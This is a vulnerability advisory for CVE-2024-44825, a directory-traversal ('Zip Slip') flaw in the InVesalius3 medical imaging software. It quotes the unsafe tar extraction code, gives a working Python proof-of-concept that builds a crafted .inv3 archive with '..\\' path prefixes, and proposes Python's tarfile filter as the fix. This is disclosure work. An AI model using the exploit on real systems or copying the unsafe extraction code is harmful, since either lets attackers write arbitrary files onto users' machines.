CVE-2024-44825 - Invesalius Arbitrary File Write and Directory Traversal

Directory Traversal vulnerability in Centro de Tecnologia da Informaco Renato Archer InVesalius3 v3.1.99995 allows attackers to write arbitrary files unto the system via a crafted .inv3 file.


What is Zip Slip Vulnerability?

A brief intro. A "Zip Slip" vulnerability is a security flaw that occurs when an application extracts files from an archive without validating their paths. Malicious ZIP files can exploit this to overwrite arbitrary files on the host system by including directory traversal sequences, like ../ Some Zip Slip vulnerability well known in the past are: - CVE-2018-1002205 - CVE-2022-21675 - CVE-2020-27833

Vulnerable Code

def Extract(filename: Union[str, bytes, os.PathLike], folder: Union[str, bytes, os.PathLike]):
    if _has_win32api:
        folder = win32api.GetShortPathName(folder)
    folder = decode(folder, const.FS_ENCODE)

    tar = tarfile.open(filename, "r")
    idir = decode(os.path.split(tar.getnames()[0])[0], "utf8")
    os.mkdir(os.path.join(folder, idir))
    filelist = []
    for t in tar.getmembers():
        fsrc = tar.extractfile(t)
        if fsrc is None:
            raise Exception("Error extracting file")
        fname = os.path.join(folder, decode(t.name, "utf-8"))
        fdst = open(fname, "wb")
        shutil.copyfileobj(fsrc, fdst)
        filelist.append(fname)
        fsrc.close()
        fdst.close()
        del fsrc
        del fdst
    tar.close()
    return filelist

Risks

This vulnerability in itself may not present great risks if only used by the attacker. It needs to be concatenated with other vulnerabilities to create a more complex and effective chain of attack or interaction by the victim. The most common steps to use this vulnerability in an attack chain: 1) ZIP File Structure: The attacker crafts a malicious ZIP archive containing files targets paths 2) Extraction: When an application or library extracts the ZIP file without proper validation of the file paths, the malicious files are written outside the intended extraction directory. 3) Execution: If the malicious file is in a sensitive location (e.g., system directories), it can be executed with high privileges or interfere with legitimate operations.
The exploit was created and tested on Windows but it can be easily adapted to work on Linux and MacOS.
# Exploit Title: Invesalius 3.1 - Arbitrary File Write using Directory Traversal
# Discovered By: Riccardo Degli Esposti (partywave)
# Exploit Author: Riccardo Degli Esposti (partywave)
# Vendor Homepage: https://invesalius.github.io/
# Software Link: https://github.com/invesalius/invesalius3/tree/master/invesalius
# Version: from 3.1.99995
# Tested on: Windows
# CVE-ID: CVE-2024-44825

import tarfile
import os
import zipfile

# Disclaimer:
# Tested on Windows
# edit every [CHANGEME] before run this script

# Step 0: Setup local paths
# Adapt your paths
zip_file_path = 'C:\\users\\[CHANGEME]\\downloads\\[CHANGEME].zip'
extracted_folder = 'C:\\users\\[CHANGEME]\\downloads\\[CHANGEME]'

output_tar = 'C:\\users\\[CHANGEME]\\downloads\\local-output.inv3'


main_plist_path = os.path.join(extracted_folder, 'main.plist')

# Ensure the extraction directory exists
os.makedirs(extracted_folder, exist_ok=True)

# Step 1: Extract the ZIP file
with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:
    zip_ref.extractall(extracted_folder)

with open(main_plist_path, 'r') as file:
    main_plist_content = file.read()

# POC of loading new XML
main_plist_content = main_plist_content.replace(
    '<string>ProMED CT 0051</string>',
    '<string>This is a confirmation modifying the XML</string>'
)

with open(main_plist_path, 'w') as file:
    file.write(main_plist_content)

# Step 3: Create the tar archive
# Adapt where you want write
def rename(tarinfo):
    tarinfo.name = "..\\..\\[CHANGEME]\\" + tarinfo.name
    return tarinfo

with tarfile.open(output_tar, "w:xz") as tar:
    for root, _, files in os.walk(extracted_folder):
        for file in files:
            full_path = os.path.join(root, file)
            arcname = os.path.relpath(full_path, extracted_folder)
            tar.add(full_path, arcname=arcname, filter=rename)

output_tar

Suggested Fix

It is important to consider whether a fix via official implementations involving the libraries used is possible. In this way, validation takes place through more validated open source code to which more developers contribute. From the email suggesting tarfile library version: - Changed in version 3.5: Added the numeric_owner parameter. - Changed in version 3.6: The path parameter accepts a path-like object. - Changed in version 3.12: Added the filter parameter. Then suggesting official and concrete solution.
"tarfile.tar_filter(member, path) : Implements the 'tar' filter."

"Strip leading slashes (/ and os.sep) from filenames.
Refuse to extract files with absolute paths (in case the name is absolute even after stripping slashes, e.g. C:/foo on Windows). This raises AbsolutePathError.
Refuse to extract files whose absolute path (after following symlinks) would end up outside the destination. This raises OutsideDestinationError.
Clear high mode bits (setuid, setgid, sticky) and group/other write bits (S_IWGRP | S_IWOTH)."

Conclusion

The vulnerability has been fixed as of the "nightly" version. The entire disclosure process, as is not often the case, was cooperative and collaborative. Initially, it was not easy to find the contact details of the project's developers and maintainers, since there is no disclosure policy - which github now implements - via SECURITY.md file. Once this was done, however, a long-lasting dialogue was opened, which through respectful questions and answers continued until the disclosure. There was no opposition to disclosure or crediting of vulnerabilities, and there was no appropriation of the bug to then disappear or ghosting of any kind in an attempt to make the project look flawless. View exploit here:
- invesalius exploit